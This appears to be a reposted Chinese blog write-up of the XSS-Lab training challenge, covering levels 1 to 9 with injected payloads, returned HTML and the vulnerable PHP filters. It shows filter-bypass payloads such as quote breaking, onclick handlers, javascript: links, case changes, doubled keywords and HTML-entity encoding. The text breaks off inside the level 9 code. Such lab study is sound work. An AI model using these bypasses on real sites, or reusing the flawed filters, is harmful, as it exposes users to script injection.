XSS-Lab(XSS注入笔记1-16)

Posted MangataTS

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS-Lab(XSS注入笔记1-16)相关的知识,希望对你有一定的参考价值。

前言

本篇博客主要是记录笔者完成XSS-Lab步骤以及分析

题目链接:https://buuoj.cn/challenges#XSS-Lab

Github仓库:https://github.com/rebo-rn/xss-lab

出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.docx

ps:仓库可以看代码即白盒测试

level1(直接注入)


我们发现网址后面有一个name的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree,我们可以看到直接就显示欢迎kaptree

于是我们这里直接注入name=<script>alert(1)</script>

ok,成功注入

level2(闭合标签)


我们发现有一个输入框,于是先认为这里可以注入,填上keyword=<script>alert(1)</script>,我们发现并不能注入


我们直接看一下相应的源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 

</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

我们发现<input name=keyword value="<script>alert(1)</script>">这里他直接把我们输入的内容进行替换,于是我们通过"绕过,即keyword="><script>alert(1)</script>

level3(绕过htmlspecials()函数)


仍然先尝试level2的方式注入,发现并没有用,于是我们打开网页代码看看

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 

</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>

我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1) ,然后需要点击一下输入框

level4(onclick绕过)


尝试之前的注入方式,发现行不通,然后查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 

</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和' οnclick='alert(1)相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="' οnclick='alert(1)">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:19</h3></body>
</html>

猜测是双引号的问题,于是:

keyword=" onclick="alert(1)

level5(绕过检测<script和on事件)


尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 

</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&quot; οnclick=&quot;alert(1)相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="" o_nclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:20</h3></body>
</html>

发现我们的onclick被过滤了,我们再试试之前的keyword="><script>alert(1)</script>,发现

<input name=keyword  value=""><scr_ipt>alert(1)</script>">

发现关键词也被过滤了,于是我们使用<a></a>标签绕过,即keyword="><a href="javascript:alert(1)" 然后点击一下图片或者下方的文字即可


在源文件中我们也可以看到,有一些关键字被过滤掉了,即<scripton

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level6(大小写绕过)

同样,我们先尝试之前的注入方式

<input name=keyword  value=""><a hr_ef="javascript:alert(1)">

我们发现它把href也过滤了,于是我们直接明牌!,看一下它代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

我们发现,<scriptonsrcdatahref 这几个关键字被过滤掉了,因为是直接过滤的,而html中大小写是不敏感的,于是我们直接变一下大小写即可keyword="><a Href="javascript:alert(1) ,然后再点一下图片

level7(双写绕过标签过滤)

老样子,我们先试一下之前的注入,结果发现script直接被过滤了

<input name=keyword  value=""><a ="java:alert(1)">

我们打开源码看看

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里将keyword转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

如果我们想得到script显然这里会直接替换掉关键字,那么我们就可以传入sscriptcript,这样被替换后就是我们想要的script了,同理href替换为hhrefref,即:keyword="><a hhrefref="javasscriptcript:alert(1)

level8(ASCII编码绕过)


我们使用上一个注入方式,发现这次没有对keyword做过滤,而是做了一个转义符的替换

<input name=keyword  value="&quot;&gt;&lt;a hhrefref=&quot;javasscriptcript:alert(1)">

没思路,于是看看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的input框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现$str7 只是做了一个简单的字符过滤,于是我们直接在这里将javascript:alert(1)中的字符使用HTML字符实体转换后注入即可:keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

HTML字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

level9(必要字段+ASCII编码绕过)


先把上一个注入操作复刻一下,但是发现不合法

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

于是我们打开源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace以上是关于XSS-Lab(XSS注入笔记1-16)的主要内容,如果未能解决你的问题,请参考以下文章

xss lab注入

DVWA学习笔记

XSS-笔记

安全技能学习笔记——反射型 XSS SQL 注入 (非盲注)

渗透测试学习笔记

渗透测试学习笔记